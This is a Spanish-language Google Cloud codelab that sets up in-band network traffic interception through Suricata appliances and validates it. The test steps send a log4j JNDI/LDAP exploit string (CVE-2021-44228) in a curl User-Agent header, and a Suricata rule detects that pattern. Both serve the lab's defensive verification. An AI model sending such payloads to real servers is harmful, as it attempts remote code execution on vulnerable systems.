Codelab de integración de seguridad de red (NSI) en banda

1. Introducción

Integración de seguridad de redes

La integración de seguridad de redes (NSI) ofrece flexibilidad para mejorar la seguridad de la red de tus cargas de trabajo. Es posible que desees aprovechar un dispositivo creado específicamente por un proveedor de software independiente (ISV) externo o un motor de inspección profunda de paquetes (DPI) para inspeccionar la carga útil. Para permitir una integración perfecta con estos dispositivos de terceros, Google Cloud facilita la implementación transparente de dispositivos sin cambios en la red ni en el enrutamiento.

Google Cloud ofrece dos tipos de integración de seguridad de red: fuera de banda y dentro de banda. En este lab, se explicarán los pasos para implementar la integración de seguridad de red integrada.

Integración de seguridad de red en banda

La integración de seguridad de red proporciona integración en banda con la tecnología de interceptación de paquetes que te permite colocar dispositivos de red de terceros en la ruta del tráfico de red para la inspección transparente de las cargas de trabajo de Google Cloud. Este proceso usa la encapsulación genérica de virtualización de redes (GENEVE) para transportar paquetes de forma segura al dispositivo sin cambiar las direcciones IP de origen y destino originales.

La integración en banda ofrece un enfoque centrado en el servicio para implementar y consumir dispositivos de red intercalados de terceros en modo bump-in-the-wire. Como productor de servicios, puedes publicar un conjunto escalable de dispositivos de red de terceros como una implementación de interceptación. Como consumidor de servicios, puedes usar las políticas y reglas del firewall de nueva generación de Cloud para realizar una selección detallada del tráfico que se redireccionará de forma transparente a un extremo de interceptación local para su inspección.

61bfbf754e04cf70.png

Figura 1: Arquitectura de implementación de alto nivel del servicio de integración dentro de la banda

Para obtener más información sobre la integración en banda de NSI, consulta la descripción general de la integración en banda.

Productor de servicios integrado

Los productores de servicios son los lugares donde se implementan y administran los dispositivos externos. Puede administrarlo alguien de tu organización (equipo de seguridad, etc.) o un proveedor externo. Los productores registran sus máquinas virtuales, que pueden ser dispositivos de terceros, como backends en un balanceador de cargas de red de transferencia interno en su red de VPC. Estos dispositivos inspeccionan el tráfico de red que se redirecciona a ellos. Luego, los productores de servicios crean implementaciones de interceptores, un recurso zonal que apunta a la regla de reenvío del balanceador de cargas de red de transferencia interno.

Una implementación de intercepción es un recurso zonal que representa el servicio de inspección del productor para una zona específica. Los productores crean implementaciones de interceptores para cada zona en la que implementaron sus VMs.

Un grupo de implementación de intercepción es un recurso global con alcance de proyecto que permite que los consumidores se conecten a los servicios de inspección de un productor. Los productores crean un grupo de implementación de intercepción para agrupar varias implementaciones de intercepción zonales. Los productores usan IAM para controlar qué consumidores pueden conectarse a su grupo de implementación.

Para obtener más información, consulta la Descripción general de los grupos de interceptación de la implementación y la Descripción general de las interceptaciones de la implementación.

Consumidor de servicios dentro de la banda

Los consumidores de servicios usan los servicios de inspección que ofrecen los productores. Los consumidores especifican qué VPC desean inspeccionar y de qué productor. Para ello, los consumidores crean un grupo de extremos de interceptación, un recurso global que representa su lado de la relación productor-consumidor, y vinculan el grupo de extremos de interceptación al grupo de implementación de interceptación del productor.

Para asociar el grupo de extremos de interceptación con las VPC desde las que desean que se inspeccione el tráfico, los consumidores crean una asociación de grupo de extremos de interceptación. Para seleccionar el tráfico que se debe enviar al productor para su inspección, los consumidores crean y usan políticas de firewall de red. Los consumidores crean un grupo de perfiles de seguridad que contiene un perfil de seguridad que hace referencia a su grupo de extremos de intercepción. Luego, los consumidores crean una regla de firewall para redireccionar el tráfico que coincide con criterios específicos a los dispositivos del productor.

Aunque el grupo de extremos de interceptación(IEG) es un recurso a nivel del proyecto, el IEG y la asociación de IEG no tienen que estar en el mismo proyecto. Se puede hacer referencia a un IEG a través de una asociación de IEG desde otros proyectos de tu organización. Representa el lado del consumidor de la relación entre el productor y el consumidor. Los consumidores crean un grupo de extremos de interceptación para consumir el servicio de inspección de un productor. Cada grupo de extremos de interceptación del lado del consumidor está asociado con un solo grupo de extremos de interceptación del lado del productor.

Para obtener más información, consulta la descripción general de las asociaciones y los grupos de extremos de interceptación.

Los consumidores deben crear una regla de política de firewall para redireccionar el tráfico a su grupo de extremos de interceptación. Los consumidores pueden especificar los criterios de coincidencia dentro de la regla de política de firewall, lo que les permite definir qué tráfico deben inspeccionar los dispositivos del productor.

Los consumidores crean un perfil de seguridad de interceptación personalizado para especificar qué grupo de endpoints de interceptación se debe usar para inspeccionar el tráfico.

Los consumidores crean un grupo de perfiles de seguridad para definir un grupo de funciones de inspección de seguridad que se deben aplicar a un subconjunto específico de tráfico. Un grupo de perfiles de seguridad contiene un solo perfil de seguridad de interceptación personalizado.

Qué compilarás

ea01a16258c792c1.png

Figura 2: Arquitectura de implementación de alto nivel para este codelab

Para simplificar este codelab, usarás un solo proyecto y crearás dos redes de VPC, además de administrar varios recursos de red y seguridad. En este lab, se mostrará cómo implementar la integración de servicios de red dentro de la banda con un dispositivo de terceros para la inserción transparente de seguridad.

Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del Firewall de Cloud, incluida la tupla de 5 elementos (IP de origen, IP de destino, protocolo, puerto de origen y puerto de destino). Para simplificar este lab, inspeccionarás todo el tráfico de SALIDA en el puerto TCP 80.

El productor permitirá la entrada desde la IP de la puerta de enlace de la subred de la VPC del productor (10.0.0.1/32) para los paquetes UDP con el puerto de destino 6081, el puerto conocido para GENEVE.

El estado final de la base de reglas de la política de firewall de red será similar al de la siguiente tabla:

Política de red de productores:

Prioridad

Dirección

Protocolo

Destino

Origen

Destino

Puerto de destino

Acción

100

Entrada

Todo

Todo

Health-Checks

Cualquiera

Cualquiera

Permitir

200

Entrada

Todo

Todo

IAP

Cualquiera

Cualquiera

Permitir

300

Entrada

UDP

Todo

10.0.0.1/32

Cualquiera

6081

Permitir

Política de red para el consumidor:

Prioridad

Dirección

Protocolo

Destino

Origen

Destino

Puerto de destino

Acción

200

Entrada

TCP

Todo

IAP

Cualquiera

22

Permitir

800

Salida

TCP

Todo

Cualquiera

Cualquiera

80

Interceptar

Qué aprenderás

  • Cómo implementar la integración de seguridad de redes en banda

Requisitos

  • Organización y proyecto de Google Cloud
  • Permisos de IAM adecuados
  • Conocimiento sobre la implementación de instancias y la configuración de componentes de redes
  • Conocimiento de la configuración del firewall de la política de red

2. Antes de comenzar

Permisos y roles de IAM

Para completar el codelab de integración de seguridad de redes (NSI) en banda, necesitarás los siguientes roles de IAM:

  • Administrador de redes de Compute (roles/compute.networkAdmin): Se requiere para crear y administrar redes de VPC, subredes, Cloud Routers, puertas de enlace de NAT y servicios de backend del balanceador de cargas.
  • Administrador de seguridad de Compute (roles/compute.securityAdmin): Es necesario para crear, configurar y asociar políticas y reglas de firewall de red globales.
  • Administrador de instancias de Compute (roles/compute.instanceAdmin.v1): Se requiere para implementar, establecer una conexión SSH y, finalmente, borrar los dispositivos de Suricata y las VMs de prueba del consumidor.
  • Administrador de implementación de intercepción (roles/networksecurity.interceptDeploymentAdmin): El productor lo usa para crear y administrar implementaciones de intercepción zonales y el grupo de implementación global.
  • Administrador de extremos de intercepción (roles/networksecurity.interceptEndpointAdmin): El consumidor lo usa para crear grupos de extremos de intercepción y asociarlos con su red de VPC.
  • Usuario de implementación de interceptación (roles/networksecurity.interceptDeploymentUser): Se requiere en el proyecto del productor para otorgar permiso al consumidor para conectarse al grupo de implementación del productor.
  • Administrador de perfiles de seguridad (roles/networksecurity.securityProfileAdmin): Se requiere a nivel de la organización para crear y administrar perfiles de seguridad de interceptación personalizados y grupos de perfiles de seguridad.
  • Administrador de uso del servicio (roles/serviceusage.serviceUsageAdmin): Es necesario para habilitar las APIs de networksecurity.googleapis.com y compute.googleapis.com que se requieren para las funciones de la NSI.
  • Visualizador de proyectos (roles/viewer): Se necesita para recuperar la configuración del proyecto y la información de la jerarquía de la organización para las variables de entorno que se usan en todo el lab.

APIs de Google Cloud

Asegúrate de que las APIs de Google Cloud necesarias estén habilitadas en tu proyecto.

Habilita las APIs necesarias y ejecuta los siguientes comandos de gcloud en Cloud Shell.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

Crea o actualiza variables

En este codelab, se usan variables para facilitar la implementación de la configuración de gcloud en Cloud Shell.

En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. Acciones del productor

En esta sección, se abarcará el lado de la implementación del productor. Esto incluye la implementación de la VPC, el dispositivo virtual de red de terceros y todos los componentes pertinentes para la integración de la seguridad de red.

Componentes de VPC y Cloud NAT

  1. Crea la VPC y la subred:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. Obtén la IP de la puerta de enlace de la subred para usarla en la regla de firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. Crea una política y reglas de FW para la VPC de productor. Estas reglas de FW permitirán la entrada para las verificaciones de estado, el IAP y el tráfico proveniente del NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. Asocia la VPC del productor a la política de firewall de red:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. Implementa Cloud Router y Cloud NAT para el dispositivo virtual de red (NVA) de terceros para descargar los paquetes y las actualizaciones necesarios:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

VMs de terceros

En este lab, implementarás Suricata, un servicio de detección de amenazas de código abierto. El comando tiene una secuencia de comandos de inicio que instalará y configurará Suricata. También hay iptables que realizan la traducción de direcciones de red de origen (SNAT) y la traducción de direcciones de red de destino (DNAT) para controlar y responder a los paquetes GENEVE.

  1. Implementa una NVA de terceros en tu primera zona.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. Implementa una NVA de terceros en tu segunda zona:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

Componentes del balanceador de cargas del productor

  1. Crea una verificación de estado genérica que se use para verificar la disponibilidad de tu NVA de terceros:
gcloud compute health-checks create http nva-hc
  1. Crea un grupo de instancias no administrado zonal para cada zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. Agrega tus instancias a tus grupos de instancias:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

Valida que tus grupos de instancias contengan tus instancias con los siguientes comandos:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

Resultado de muestra:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. Crea un servicio de backend interno de UDP:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. Agrega ambos grupos de instancias al servicio de backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. Reserva IPs internas para tus reglas de reenvío. Cada implementación de interceptación requiere una regla de reenvío única:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. Crea la regla de reenvío para cada zona. Esto es obligatorio, ya que la implementación de la interceptación requiere una regla de reenvío única:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Componentes de integración de seguridad de redes

  1. Crea un grupo de implementación de intercepción:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

Valida que el grupo de implementación se haya creado correctamente:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

Resultado de muestra:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. Crea una implementación de intercepción para cada zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Valida que las implementaciones de la interceptación se hayan creado correctamente:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

Resultado de muestra:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

Felicitaciones, completaste la configuración del lado del productor. A continuación, configurarás el lado del consumidor para interceptar el tráfico y enviarlo de forma transparente a los dispositivos de terceros para su aplicación.

4. Acciones del consumidor

Si bien este lab usa VPCs separadas dentro de un solo proyecto para simplificar las cosas, en entornos reales, los recursos del productor y del consumidor pueden residir en proyectos diferentes o incluso en organizaciones diferentes.

Componentes de VPC y Cloud NAT

  1. Crea la VPC y la subred:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Crea el Cloud Router y la puerta de enlace de Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

Grupo de extremos de intercepción y asociación

  1. Crea un grupo de extremos de intercepción:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Validación de que el extremo se creó correctamente:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

Resultado de muestra:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. Crea una asociación de grupo de extremos de interceptación que especifique la VPC del consumidor:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Validación:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

Resultado de muestra:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

Perfil de seguridad y grupo de perfiles de seguridad

A continuación, crearás un perfil de seguridad personalizado para la intercepción y lo adjuntarás al grupo de perfiles de seguridad. El perfil de seguridad y el grupo de perfiles de seguridad se usan para la interceptación de paquetes en dispositivos de terceros.

  1. Sigue estos pasos para crear un perfil de seguridad de interceptación personalizada:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Valida que el perfil de seguridad se haya creado correctamente:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

Resultado de muestra:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. Crea un grupo de perfiles de seguridad:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

Valida que el SPG se haya creado correctamente:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

Resultado de muestra:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

Política, reglas y asociación de firewall

  1. Crea una política de firewall de red global:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. Crea las reglas de firewall:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. Crea la regla de firewall para interceptar todo el tráfico de salida aprovechando la NSI para enviarlo de forma transparente a nuestro dispositivo de terceros. Esta regla enviará todo el tráfico de salida de TCP:80 para su inspección.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. Asocia la política de firewall de Cloud a la red de VPC:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

VMs de consumidor

  1. Son las VMs de implementación que se usan para validar la NSI. Implementarás 3 VMs en 3 zonas. Recuerda que solo 2 zonas tienen habilitado el NSI, mientras que $zonec no.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

Prueba de la integración de seguridad de redes dentro de la banda

  1. Conéctate a la VM en $zonea (consumer-$zonea) a través de SSH. Envía tráfico de prueba:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. Envía tráfico de prueba a http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Resultado esperado:

200

El código de estado HTTP 200 indica que el servidor recibió, comprendió y procesó correctamente la solicitud del cliente.

  1. Envía solicitudes de log4j que Suricata debería bloquear a través de NSI.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Resultado esperado:

000

El código de respuesta HTTP 000 es un código no oficial y no estándar que utilizan ciertos softwares para indicar que no se recibió ningún código de estado HTTP válido. Es probable que el firewall haya bloqueado la solicitud.

  1. Sal de la sesión de SSH para regresar a Cloud Shell
exit
  1. Conéctate a la VM en $zoneb (consumer-$zoneb) a través de SSH
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. De manera similar, envía tráfico de prueba:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Resultado esperado:

200
  1. Envía la solicitud de log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Resultado esperado:

000
  1. Sal de la sesión de SSH para regresar a Cloud Shell
exit
  1. Conéctate a la VM en $zonec (consumer-$zonec) a través de SSH
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. De manera similar, envía tráfico de prueba:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Resultado esperado:

200
  1. Envía la solicitud de log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Resultado esperado:

200

Observa que se procesó la solicitud. Esto es lo esperado porque no configuraste NSI con $zonec. El grupo de extremos de intercepción solo tiene asociaciones para $zonea y $zoneb.

  1. Sal de la sesión de SSH para regresar a Cloud Shell
exit

Validar que Suricata recibió y bloqueó las solicitudes maliciosas

  1. Establece una conexión SSH a la VM de Suricata en $zonea (suricata-$zonea) para verificar los registros:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. Consulta los registros filtrados por el tipo de ataque:
cat /var/log/suricata/eve.json | grep log4j

Es posible que veas algunas entradas. Si no ves ninguna entrada, verifica los registros de la VM de Suricata en $zoneb. Resultado de muestra:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
